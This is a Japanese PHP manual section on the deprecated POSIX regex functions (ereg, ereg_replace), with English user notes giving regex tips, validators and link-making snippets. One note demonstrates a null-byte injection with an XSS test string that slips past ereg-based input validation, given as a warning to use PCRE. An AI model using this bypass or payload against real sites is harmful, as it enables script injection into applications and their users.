  • 定義済み定数
  • 例
  • POSIX 正規表現関数
    • ereg_replace — 正規表現による置換を行う
    • ereg — 正規表現によるマッチングを行う
    • eregi_replace — 大文字小文字を区別せずに正規表現による置換を行う
    • eregi — 大文字小文字を区別せずに正規表現によるマッチングを行う
    • split — 正規表現により文字列を分割し、配列に格納する
    • spliti — 大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する
    • sql_regcase — 大文字小文字を区別しないマッチングのための正規表現を作成する

User Contributed Notes

Daniel Klein 22-Mar-2012 01:01
PCRE has very good utf-8 support. Simply add the /u modifier to your pattern.

preg_match('/non-utf-8 matching pattern/', $string);
preg_match('/utf-8 matching pattern/u', $string);
Ray dot Paseur at Gmail dot com 28-Oct-2011 02:04
The POSIX functions are deprecated.  Instead of the "ereg" collection you want to use something from the PCRE world.
http://www.php.net/manual/en/book.pcre.php


はじめに

警告

この機能は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この機能の代替として、これらが使えます。

  • PCRE (完全な正規表現に対応)
  • fnmatch() (シェル形式のシンプルなワイルドカードによるパターンマッチング)
ヒント

PHPは、PCRE関数によりPerl互換の構 文を使用する正規表現式もサポートします。これらの関数は、「ものぐさ」 マッチ、言明、条件付きサブパターン、そしてPOSIX拡張正規表現構文 でサポートされていない他の複数の機能をサポートします。

警告

これらの正規表現関数はバイナリセーフではありません。PCRE関数はバイナリセーフです。

正規表現は、複雑な文字列操作の際に使用されます。 PHPはPOSIX 1003.2で定義されたPOSIX拡張正規表現を使用します。 POSIX正規表現に関する詳細については、PHP配布ファイルのregexディレ クトリにある» regexのmanページを参照ください。 このページはmanpageフォーマットであり、読むには man /usr/local/src/regex/regex.7のようにします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP 7

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/regex.

PHP 5

警告

動作に関する知識がある場合以外は、TYPE を変更しないでください。

PHP で正規表現のサポートを有効にするには、 --with-regex=TYPE を指定して PHP の configure を行ってください。TYPE は system、apache、php のいずれかで、デフォルトでは php を使用します。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 正規表現の例

<?php
// "abc" が $string のどこかにある場合に true を返す
ereg("abc", $string);

// "abc" が $string の最初にある場合に true を返す
ereg("^abc", $string);

// "abc" が $string の最後にある場合に true を返す
ereg("abc$", $string);

// クライアントブラウザがNetscape 2, 3またはMSIE 3である場合にtrue を返す
eregi("(ozilla.[23]|MSIE.3)", $_SERVER["HTTP_USER_AGENT"]);

// 空白で区切られた3つ単語を
// $regs[1], $regs[2],$regs[3]に代入する
ereg("([[:alnum:]]+) ([[:alnum:]]+) ([[:alnum:]]+)", $string, $regs);

// <br /> タグを $string の先頭に挿入する
$string = ereg_replace("^", "<br />", $string);

// <br /> タグを $string の最後に挿入する
$string = ereg_replace("$", "<br />", $string);

// $string の改行文字を全て取り除く
$string = ereg_replace("\n", "", $string);
?>

User Contributed Notes

There are no user contributed notes for this page.


POSIX 正規表現関数

参考

警告

この機能は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この機能の代替として、これらが使えます。

  • PCRE (完全な正規表現に対応)
  • fnmatch() (シェル形式のシンプルなワイルドカードによるパターンマッチング)

目次

  • ereg_replace — 正規表現による置換を行う
  • ereg — 正規表現によるマッチングを行う
  • eregi_replace — 大文字小文字を区別せずに正規表現による置換を行う
  • eregi — 大文字小文字を区別せずに正規表現によるマッチングを行う
  • split — 正規表現により文字列を分割し、配列に格納する
  • spliti — 大文字小文字を区別しない正規表現により文字列を分割し、配列に格納する
  • sql_regcase — 大文字小文字を区別しないマッチングのための正規表現を作成する

User Contributed Notes

swordsteel 27-Jul-2012 02:17
So i did like to get U A A O and some more in to my check for things.

<?php
$chars = array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 'T', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'd', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'y', 'y', 't', 'y');

$list = array();
foreach($chars AS $char ) {
    $list[dechex(ord($char))] = $char;
}
ksort($list);
foreach ($list as $key => $val) {
    echo "$key = $val, ";
}
?>

that gave me this

c0 = A, c1 = A, c2 = A, c3 = A, c4 = A, c5 = A, c6 = A, c7 = C, c8 = E, c9 = E, ca = E, cb = E, cc = I, cd = I, ce = I, cf = I, d1 = N, d2 = O, d3 = O, d4 = O, d5 = O, d6 = O, d8 = O, d9 = U, da = U, db = U, dc = U, dd = Y, de = T, df = s, e0 = a, e1 = a, e2 = a, e3 = a, e4 = a, e5 = a, e6 = a, e7 = c, e8 = e, e9 = e, ea = e, eb = e, ec = i, ed = i, ee = i, ef = i, f0 = d, f1 = n, f2 = o, f3 = o, f4 = o, f5 = o, f6 = o, f8 = o, f9 = u, fa = u, fb = u, fd = y, fe = t, ff = y

and that is if you make it smaller...

\\xC0-\\xD6 \\xD8-\\xF6 \\xF8-\\xFB \\xFD-\\xFF

Hope this help some one with U A A O
Edward Z. Yang 01-Apr-2007 10:16
The fact that 'regex' functions are not binary safe have some very important security implications for people who are using ereg to validate their input data.

Suppose I have an expression:

<?php
$pattern = '^[[:alnum:]]*$';
?>

This should match any number of alphanumeric characters, right? Well, if the string you're matching is not binary, sure. However, say we have a null-byte tossed in the string:

<?php
$string = chr(0) . "<script>alert('xss')</script>";
echo ereg($pattern, $string);
?>

Will return true. Note that it is trivially easy to inject null bytes into PHP parameters:

index.php?content=%00ASCII

Scary. So unless you really know what you're doing, just use the PCRE preg_* functions.
nate[-at-]theklaibers[-dot-]com 07-Feb-2006 12:19
I am using a regex with the same thought process in mind as the earlier phone number. However, I have also implemented it to allow the '1' so a number like.

1 222 222 2222 would still be valid as well (along with all of the other combinations.

In my regex, I pull out the matches - not the exact string. So if someone were to forget a bracket, it wouldnt matter to the actual output as it is stripped from that match.

So, if you put in 222) 233 3454, the matches would only pull out 1=>222, 2=>233, 3=>3454

This has been very helpful in tweaking my regex.

Thanks,
Nate
ajd at cloudiness dot com 23-Aug-2005 09:05
A minor tweak to trucex' phone validator, because some people use a dot separator between the area code, exchange and four-digit block.
Posted here for your copy-and-paste convenience.

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -.]{0,2}' . '[0-9]{3}[- .]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';
nothing at nothing dot com 29-Jul-2005 03:35
His regular expression is correct, the ^ is to check for the beginning of the string. It is just looking for delimiter characters, try putting slashes around it.
"/<regex>/"
stringer at stringerstudios dot com 28-Jul-2005 05:07
Hey trucex. Cool phone number function but your $regex produces the following error. Warning: No ending delimiter '^' found

Instead of:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

It think should be:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$^';
trucex[at] gmail 27-Jul-2005 11:00
I was having a ton of issues with other people's phone number validation expressions, so I made my own. It works with most US phone numbers, including those with extentions. Format matches any of the following formats:

5551234567
555 1234567
555 123 4567
555 123-4567
555-1234567
555-123-4567
555123-4567
(555)1234567
(555)123 4567
(555)123-4567
(555) 1234567
(555) 123-4567
(555) 123 4567

And any of the following extentions can be added with or without a space between them and the number:
x123
x.123
x. 123
x 123
ext.123
ext. 123
ext 123
ext123

Extentions support between 1 and 5 digits.

Here is the expression:

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

Enjoy!
annie 08-Sep-2004 05:17
Another nice tutorial about regular expressions: http://www.mkssoftware.com/docs/man5/regexp.5.asp
tgt at tip dot nl 08-Sep-2004 02:17
Tip !
Metacharacters in regular expresions are usefull and easy to use.

The following is a set of special values that denote certain common ranges. They have the advantage that also take in account the 'locale' i.e. any variant of the local language/coding system.

[:digit:]      Only the digits 0 to 9
[:alnum:]      Any alphanumeric character 0 to 9 OR A to Z or a to z.
[:alpha:]       Any alpha character A to Z or a to z.
[:blank:]       Space and TAB characters only.
[:xdigit:]     .
[:punct:]       Punctuation symbols . , " ' ? ! ; :
[:print:]      Any printable character.
[:space:]      Any space characters.
[:graph:]       .
[:upper:]       Any alpha character A to Z.
[:lower:]       Any alpha character a to z.
[:cntrl:]        .
mina86 at tlen dot pl 19-Oct-2003 10:14
I tested how fast POSIX and Perl regular expresions are, and here are the results:

           | POSIX Extended  | Perl-Compatible |   POSIX - Perl
-----------+-----------------+-----------------+-----------------
     match |    0.1296420097 |    0.1006720066 |  0.0289700031
   match i |    0.1204010248 |    0.1101620197 |  0.0102390051
   replace |    0.1896649599 |    0.1298999786 |  0.0597649813
 replace i |   10.6998120546 |    0.1453789473 | 10.5544331074

So, as you can see, preg_* functions are faster then ereg* functions. You can find source code of my test script here: http://mina86.home.staszic.waw.pl/temp/regexp-speed-test.txt
Robin 15-Jan-2003 10:53
Ever wondered how to exclude "[" and "]"?
Here it goes: "[^][]". Extra characters to exclude can beadded right in the middle like this: "[^]fobar[]".
paper 08-Sep-2002 11:57
I have also experienced the same problem as bps7j@yahoo.com had been experiencing, except I did not recognize the problem until after many hours of debugging.

"\s" does not seem to represent spaces, however "[[:space:]]" does.

Another problem I was having was matching dashes/hyphens '-'. You must escape them "\-" and place them at the end of a bracket expression.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

^([A-Z_\-]|[[:space:]])*$

Hope this saves someone some time from debugging like I was. :)
bps7j at yahoo dot com 21-Aug-2002 07:40
Something that really got me: I'm used to using Perl's regexps, and so I used \s to check for a whitespace character in a password on a website. My PHP book (Wrox Press, Professional PHP Programming) agreed with me that this is exactly the same as [ \r\n\t\f\v], but it's NOT. In fact, what it did was keep anyone from joining the site if they put an 's' in their password! So beware, check for subtle differences between what you're used to and PHP.

[[:space:]] works fine, by the way.

I'm going to use the pcre functions from now on... I like Perl :o)
david at NOgreenhammerSPAM dot com 09-Mar-2002 10:40
Sadly, the Posix regexp evaluator (PHP 4.1.2) does not seem to support multi-character coallating sequences, even though such sequences are included in the man-page documentation.

Specifically, the man-page discusses the expression "[[.ch.]]*c" which matches the first five characters of "chchcc".  Running this expression in ereg_replace generates the error "Warning: REG_ECOLLATE".  (Running an equivalent expression with only one character between the periods does work, however.)

Multi-character coallating sequences are not supported!

This is really, really too bad, because it would have provided a simple way to exlude words from the target.

I'm going to go learn PCRE, now.  :-(
regex at dan42 dot cjb dot net 07-Mar-2002 10:33
Follow-up to my previous post:
Some simple optimization allowed me to realize that excluding a word at the beginning of a string has a degree of complexity O(n) rather than O(n^2). I only had to follow the logic:

if str[0] != badword[0] then OK
else
  if str[1] != badword[1] then OK
  else
    if str[2] != badword[2] then OK
    else ...

So excluding the word 'abc' at the beginning of a string is much more simple than I had made it out to be:
  ^([^a]|a[^b]|ab[^c])
spiceee at potentialvalleys dot com 06-Mar-2002 10:26
sorry to be picky here but saying ^ is beginning of a line or $ is end of line is rather misleading, if you're working on a daily basis with regexes.

it might be that it is most of the time correct BUT in some occasions you'd be better off to think of ^ as "start of string" and $ as "end of string".

there are ways to make your regex engine forget about your system's notion of a newline, it's what is commonly refered to as multiline regexes...
luciano_at_braziliantranslation.net 03-Mar-2002 12:15
mholdgate wrote a very nice quick reference guide in the next page (http://www.php.net/manual/en/function.ereg.php), but I felt it could be improved a little:
________________

^        Start of line
$        End of line
n?        Zero or only one single occurrence of character 'n'
n*        Zero or more occurrences of character 'n'
n+        At least one or more occurrences of character 'n'
n{2}        Exactly two occurrences of 'n'
n{2,}        At least 2 or more occurrences of 'n'
n{2,4}        From 2 to 4 occurrences of 'n'
.        Any single character
()        Parenthesis to group expressions
(.*)        Zero or more occurrences of any single character, ie, anything!
(n|a)        Either 'n' or 'a'
[1-6]        Any single digit in the range between 1 and 6
[c-h]        Any single lower case letter in the range between c and h
[D-M]        Any single upper case letter in the range between D and M
[^a-z]        Any single character EXCEPT any lower case letter between a and z.

        Pitfall: the ^ symbol only acts as an EXCEPT rule if it is the
        very first character inside a range, and it denies the
        entire range including the ^ symbol itself if it appears again
        later in the range. Also remember that if it is the first
        character in the entire expression, it means "start of line".
        In any other place, it is always treated as a regular ^ symbol.
        In other words, you cannot deny a word with ^undesired_word
        or a group with ^(undesired_phrase).
        Read more detailed regex documentation to find out what is
        necessary to achieve this.

[_4^a-zA-Z]    Any single character which can be the underscore or the
        number 4 or the ^ symbol or any letter, lower or upper case

?, +, * and the {} count parameters can be appended not only to a single character, but also to a group() or a range[].

therefore,
^.{2}[a-z]{1,2}_?[0-9]*([1-6]|[a-f])[^1-9]{2}a+$
would mean:

^.{2}         = A line beginning with any two characters,
[a-z]{1,2}     = followed by either 1 or 2 lower case letters,
_?         = followed by an optional underscore,
[0-9]*         = followed by zero or more digits,
([1-6]|[a-f])     = followed by either a digit between 1 and 6 OR a
        lower case letter between a and f,
[^1-9]{2}     = followed by any two characters except digits
        between 1 and 9 (0 is possible),
a+$         = followed by at least one or more
        occurrences of 'a' at the end of a line.
regex at dan42 dot cjb dot net 20-Feb-2002 09:12
It's easy to exclude characters but excluding words with a regular expression is a bit more tricky. For parentheses there is no equivalent to the ^ for brackets. The only way I've found to exclude a string is to proceed by inverse logic: accept all the words that do NOT correspond to the string. So if you want to accept all strings except those _begining_ with "abc", you'd have to accept any string that matches one of the following:
  ^(ab[^c])
  ^(a[^b]c)
  ^(a[^b][^c])
  ^([^a]bc)
  ^([^a]b[^c])
  ^([^a][^b]c)
  ^([^a][^b][^c])

which, put together, gives the regex
  ^(ab[^c]|a[^b]c|a[^b][^c]|[^a]bc|[^a]b[^c]|[^a][^b]c|[^a][^b][^c])

Note that this won't work to detect the word "abc" anywhere in a string. You need to have some way of anchoring the inverse word match
like: ^(a[^b]|[^a]b|[^a][^b])   ;"ab" not at begining of line
  or: (a[^b]|[^a]b|[^a][^b])&   ;"ab" not at end of line
  or: 123(a[^b]|[^a]b|[^a][^b]) ;"ab" not after "123"

I don't know why "(abc){0,0}" is an invalid synthax. It would've made all this much simpler.

Slightly off-topic, here's a regex date validator (format yyyy-mm-dd, remove all spaces and linefeeds):
  ^(19|20)([0-9]{2}-((0[13-9]|1[0-2])-(0[1-9]|[12][0-9]|30)|
  (0[13578]|1[02])-31|02-(0[1-9]|1[0-9]|2[0-8]))|([2468]0|
  [02468][48]|[13579][26])-02-29)$
02-Feb-2002 07:02
if you are looking for the abbreviations like tab, carriage return, regex-class definitions

you should look here:
http://elvin.dstc.edu.au/doc/regex.html

some excerpts:

    \a    control characters bell
    \b    backspace
    \f    form feed
    \n    line feed
    \r    carriage return
    \t    horizontal tab
    \v    vertical tab

class example
    \cLu    all uppercase letters


正規表現による置換を行う

  • ≪ POSIX 正規表現関数
  • ereg ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 正規表現による置換を行う

ereg_replace

(PHP 4, PHP 5)

ereg_replace — 正規表現による置換を行う

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_replace()

説明

ereg_replace ( string $pattern , string $replacement , string $string ) : string

この関数は、string をスキャンして pattern にマッチするものを探し、 マッチしたテキストを replacement で置換します。

パラメータ

pattern

POSIX 拡張正規表現。

replacement

pattern の中に括弧でくくられた部分 文字列が含まれている場合、replacement の中に \数字 のような部分文字列を埋め込むこともできます。この部分は、 「数字」番目の括弧でくくられた部分文字列にマッチする文字列に 置き換えられます。また、\0 は文字列全体を 指します。9 個までの部分文字列を使うことができます。括弧は 入れ子になっていても構いません。この場合は開き括弧 '(' が 最大 9 個まで使用可能です。

string

入力文字列。

返り値

置換後の文字列を返します。 マッチしなかった場合は、元の文字列をそのまま返します。

例

たとえば、以下のサンプルコードは "This was a test" と 3 回表示します。

例1 ereg_replace() の例

<?php

$string = "This is a test";
echo str_replace(" is", " was", $string);
echo ereg_replace("( )is", "\\1was", $string);
echo ereg_replace("(( )is)", "\\2was", $string);

?>

注意しなければならないのは、パラメータ replacement として整数値を使用する場合、 期待する結果が得られない可能性があるということです。これは、 ereg_replace() がその数値を文字コードとして 解釈し使用するためです。例えば、次のようになります。

例2 ereg_replace() の例

<?php
/* これは期待した通りに動作しません。 */
$num = 4;
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* 出力: 'This string has   words.' */

/* これは動作します。 */
$num = '4';
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* 出力: 'This string has 4 words.' */
?>

例3 URL をリンクで置換する

<?php
$text = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]",
                     '<a href="\\0">\\0</a>', $text);
?>

参考

  • ereg() - 正規表現によるマッチングを行う
  • eregi() - 大文字小文字を区別せずに正規表現によるマッチングを行う
  • eregi_replace() - 大文字小文字を区別せずに正規表現による置換を行う
  • str_replace() - 検索文字列に一致したすべての文字列を置換する
  • preg_replace() - 正規表現検索および置換を行う
  • quotemeta() - メタ文字をクォートする

User Contributed Notes

lvt 17-Oct-2010 07:11
Be careful, don't replace all ereg_replace() with str_replace() as many people will likely to recommend if there is regular expression stuffs, or your script will stop running !!!

Example : replace the (.) at the end of the text with (...)

<?php

$text = "This is a simple text.";

print( ereg_replace( "\.$", "...", $text ) );

?>

Test with str_replace() you will find it's not working.
Joe 25-Jun-2010 11:24
Since ereg_replace is now deprecated, many users will be coming to this page, in an attempt to troubleshoot and fix broken scripts after a PHP upgrade.

ereg_replace is essentially a search and replace function and it follows a pattern like this:

<?php

$input = ereg_replace("find this", "replace it with", $output);

?>

You start out by defining the input variable ($input), then the = ereg_replace portion tells php to do a search and replace action on the value of $input, then once the value has been modified with your 'find this' and 'replace with' section, the resulting value is defined as a variable $output which you can then use in other parts of your script or page.

Lets take a real world example.

There is a e-comm site - http://www.example.com - that has millions of item records.  Each item has a name, that is defined as a variable called $title.  Each $title value has spaces, i.e. "Range Cookers" or "Bosch Dishwashers", but we want to convert these into a page url that does not contain spaces, but uses the plus character '+' instead of a space (you can use hyphens '-' or other characters).

If using the deprecated ereg_replace function, it might look something like this:

<?php

$title=ereg_replace(" ", "+", $itemurl);

?>

But to avoid those deprecated errors, we change the function name to preg_replace and add a set of delimiters, in this case the 2 forward slashes / / where the contents inside that are matched as the 'find this' portion.

<?php

$title=preg_replace("/ /", "+", $itemurl);

?>

It is not absolutely necessary to use / / as the delimiters, if you are modifying directory names which may naturally contain forward slashes, it could cause it to break because the slashes in the url or directory would be interpreted as the delimiter, so you could use other obscure characters i.e.  ("# #", "+", $itemurl);  instead.  This would give an output like:

http://www.example.com/-Range+Cooker

http://www.example.com/-Bosch+Dishwasher

This would strip out the spaces from the value of $title and give you a variable called $itemurl where all the spaces were replaced with the plus character, so you could potentially use it as a url like above.

So to summarize:  ereg_replace is a deprecated search and replace action where preg_replace can be used instead, and it follows a pattern as described earlier where it takes the input data, finds a match based on what you are looking for, replaces it with something else you define, and then gives you an output data variable that you can use in your script or page.  Hopefully by understanding the process, the php code functions wont seem like voodoo and you could troubleshoot and fix many of the deprecated errors yourself.
Anonymous 06-Mar-2009 07:17
<?php
// highlights the recognized patterns (a good tool for experiments)

$output = ereg_replace("your regexp here", "<font color=red>\\0</font>", $input)
print $output;
?>
Real PHP Geek 01-Feb-2009 03:55
This function makes links unclickable, read the comments:

<?php
function strip_urls($text, $repPat)
{
    if(!$repPat){
        $repPat = "text [url]";
    }
    $aimpstr = 'PHP_STRIP_URLS_FUNCTION_BY_REAL-PHP-GEEK';
    //change $aimpstr to anything you want.
    $impstr = md5($aimpstr);
    $text = str_replace('</a>', '</a>' . $impstr, $text);
    $text = explode($impstr, $text);
    $n = 0;
    $texta = array();
    $repPat = str_ireplace(array('text', 'url'), array('\\4', '\\2'), $repPat);
    foreach ($text as $text) {
        $texta[$n] = ereg_replace("<a(.*)href=\"(.*)\"(.*)>(.*)</a>", $repPat, $text);
        $n++;
    }
    $textb = implode("</a>", $texta);
    return $textb;
}

//EXAMPLES:
$string_of_text = '<a href="http://www.php.net/">PHP</a> rocks. <a href="http://www.apache.org/">Apache</a> also!';
echo strip_urls($string_of_text, "text");
echo strip_urls($string_of_text, "url");
echo strip_urls($string_of_text, "text [url]");
echo strip_urls($string_of_text, NULL);
?>
computer_guru 06-Aug-2008 04:39
Here is the code I use to make links clickable. The code only works on xxxx:// (i.e. ftp://, http://, etc...). It does not work on www. because that is how I want it. The reason my code has an if condition is that it ignores html links and only modifies non-html urls. (see below)

<?php
function make_clickable($text)
{

    if (ereg("[\"|'][[:alpha:]]+://",$text) == false)
    {
        $text = ereg_replace('([[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/])', '<a target=\"_new\" href="\\1">\\1</a>', $text);
    }
    return($text);
}
?>

My function ignores code like this:

<a href="http://php.net"> php.net </a>

But it would make this one click able:

http://php.net
jammin320 03-Jul-2008 12:52
Just a quick addition to the last post -

modifying the regular expression for the www clause to include a newline at the begining will allow it to catch URLs that are the first in a line but not the first in a string. The previous version would only catch them if a space preceded the value...

    // match www.something
    $text = ereg_replace("(^| |\n)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
http://www.bbgames.co.nr 04-May-2008 07:57
In response to a post above, his coding was a bit wrong.  The correct coding should be :

<?php
function hyperlink($text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);

    // return $text
    return $text;
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
tugla 29-Feb-2008 09:29
If you're not relying on regular expressions, str_replace() can be far faster.
Renjith 20-Jan-2008 10:02
Code:

<?php

$s = "Coding PHP is fun.";

$pattern = "(.*)PHP(.*)";
$replacement = " They say \\1other languages\\2";

print ereg_replace($pattern, $replacement, $s);

?>

Output:
They say Coding other languages is fun.
Explanation:

"PHP" is replaced with "other languages", and the sentence is changed a little, using \1 and \2 to access the parts within parentheses.
http://php-regex.blogspot.com/
bjwarshaw2 at yahoo dot com 29-Sep-2007 06:27
It's worth mentioning for ultimate clarity that you're safest using double quotes when matching a pattern, since without them, metacharacters will be interpreted as a backslash plus another character.

Granted, this is part of the language syntax for the string type, but it might not be quite so obvious when dealing with patterns in this function, which is taking the pattern as a parameter.

So if you find that '[\n]' is taking the 'n' out of your string and leaving the new lines alone, switch to doubles before changing anything else.
jarfil at jarfil dot net 26-Aug-2007 02:42
For simple patterns like "[a-z]", preg_replace is up to 6 times faster than ereg_replace.
mephissto at gmail dot com 30-May-2007 06:40
Your right but you just need to replace by :

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| |.)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>
hoffaboffa (at) hotmail dott com 15-May-2007 06:03
cristiklein's hyperlink function is nice but works incorrect with a www-string like this

\r\nwww.google.se

then it does not become a hyperlink
bmcswee at gmail dot com dot invalid 06-Apr-2007 09:33
Function to strip an HTML tag out of a string. I use this in part for parsing XML documents.

<?php

function stripTags($tag, $string) {
        // Regular expressions only work with strings if the regexp has been pre-concocted
    $regExp = "<" . "$tag" . "[^>]*>";

    $string = str_replace("</$tag>", "", $string);
    $string = ereg_replace($regExp, "", $string);

    return $string;
}

?>
chrish at shield dot on dot ca 12-Feb-2006 05:43
I was having problems with Microsoft Outlook viewing forms within email.  I was only able to see the first word of the text box after I used the following code.

If I entered words into the text box and used the enter key to give me a CRLF I could see in the returned data the %0D%0A string, so I assumed if I just used the ereg-replace as below it would just replace the %0D%0A with a single space...

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", " ", $string);
  return $new_string;
}

But the form as displayed by Outlook only showed the text upto the first replaced string, then it was blank!
I could view the source of the email and it would show all of the text I expected.

The following will show the correct data in the form

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", '+', $string);
  return $new_string;
}
Chris 20-Jan-2006 11:43
I've updated the function a little that was posted below.  I use it to make database field names readable when making a header row.  I needed it to quit putting a space in "GPA" and to put a space in between numbers and letters.

<?php
/**
*  Converts "fieldcontainingGPAInMyDatabaseFrom2005"
*  To       "Field Containing GPA In My Database From 2005"
*/
function innerCapsToReadableText($text) {
    $text = ereg_replace("([A-Z]) ", "\\1",ucwords(strtolower(ereg_replace("[A-Z]"," \\0",$text))));
    return ereg_replace("([A-Za-z])([0-9])", "\\1 \\2", $text);
}
?>
codergeek42 at users dot sourceforge.net 21-Dec-2005 09:15
In response to "php dot net at lenix dot de," a cleaner (easier to read) method would be to type-cast the integer as a string by quoting it. For example:

<?php
$foo = 42;
echo ereg_replace ( "bar", "$foo" , "foobar" ); /* Would output "foo42". */
?>
benlanc at ster dot me dot uk 22-Aug-2005 03:49
Quite how I managed to get my previous post so wrong, I don't know. Correction follows:
<?php
/* function to turn InterCaps style strings (i.e. CSS Properties in Javascript) to human readable ones */
function deInterCaps($var){
   return ucfirst(strtolower(ereg_replace("[A-Z]"," \\0",$var)));
}

$interCapsString = "aLoadOfNonsenseToDemonstrateTheFunction";

echo deInterCaps($interCapsString);

// output: A load of nonsense to demonstrate the function
?>
php dot net at lenix dot de 07-Jul-2005 03:26
One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that.

If you're ever having trouble with this one there's an easy workarround:

instead of
<?php
$foo = 23;
echo ereg_replace ( "bar", $foo , "foobar" );
?>

just do

<?php
$foo = 23;
echo ereg_replace ( "bar", "" . $foo , "foobar" );
?>

to replace "bar" inside "foobar" with the string "23".
zaczek at gmail dot com 05-Jul-2005 04:09
If you want the function to process query strings, such as:

http://www.php.net/index.php?id=10%32&wp=test

modify the function as follows:

function hyperlink(&$text)
{
   // match protocol://address/path/
   $text = ereg_replace("[a-zA-Z]+://([-]*[.]?[a-zA-Z0-9_/-?&%])*", "<a href=\"\\0\">\\0</a>", $text);

   // match www.something
   $text = ereg_replace("(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
cristiklein at yahoo dot com 09-Apr-2005 02:50
Sometimes, you would like to match both styles of URL links that are common in chat windows:

http://www.yahoo.com
www.yahoo.com

You can do this by using the following code:

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
bgoodman at osogrande dot com 02-Mar-2005 02:25
When you are dealing with databases you can end up with quite a few \" to deal with.  To ereg_replace all these with something else it requires you to \ the \ and \ the " so you end up with:

$var1 = '\"';
$var2 = ereg_replace('\\\"','1234',$var1);

print $var2;  //this should print 1234
eerie at gmx dot net 27-Feb-2005 11:44
<?php $path = ereg_replace("\\", "/", $path); ?>
as posted from mmtach at yahoo dot com causes an error because you have to escape the backslash twice, once for the quotation marks and a second time due the posix syntax.
<?php $path = ereg_replace("\\\\", "/", $path); ?>
or
<?php $path = ereg_replace('\\', "/", $path); ?>
should both work as expected. since you don't have to escape the backslash in brackets (posix syntax) his alternative works also.


正規表現によるマッチングを行う

  • ≪ ereg_replace
  • eregi_replace ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 正規表現によるマッチングを行う

ereg

(PHP 4, PHP 5)

ereg — 正規表現によるマッチングを行う

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_match()

説明

ereg ( string $pattern , string $string , array &$regs = ? ) : int

pattern で指定した正規表現 により、大文字小文字を区別して string を検索します。

パラメータ

pattern

大文字小文字を区別する正規表現。

string

入力文字列。

regs

pattern の括弧でくくられた部分文字列に マッチし、かつこの関数が 3 番目の引数 regs を 指定してコールされた場合、マッチした部分が配列 regs に格納されます。

$regs[1] は最初の左括弧が始まる部分文字列を保持、 $regs[2] は二番目の左括弧が始まる部分文字列を保持、 といったようになっています。$regs[0] は マッチした文字列全体のコピーを保持しています。

返り値

string の中で pattern がマッチした場合にはマッチした文字列の長さを返し、マッチしなかった場合 またはエラーとなった場合は false を返します。

オプションのパラメータ regs が渡されなかったり マッチした文字列の長さが 0 だったりした場合は、この関数は 1 を返します。

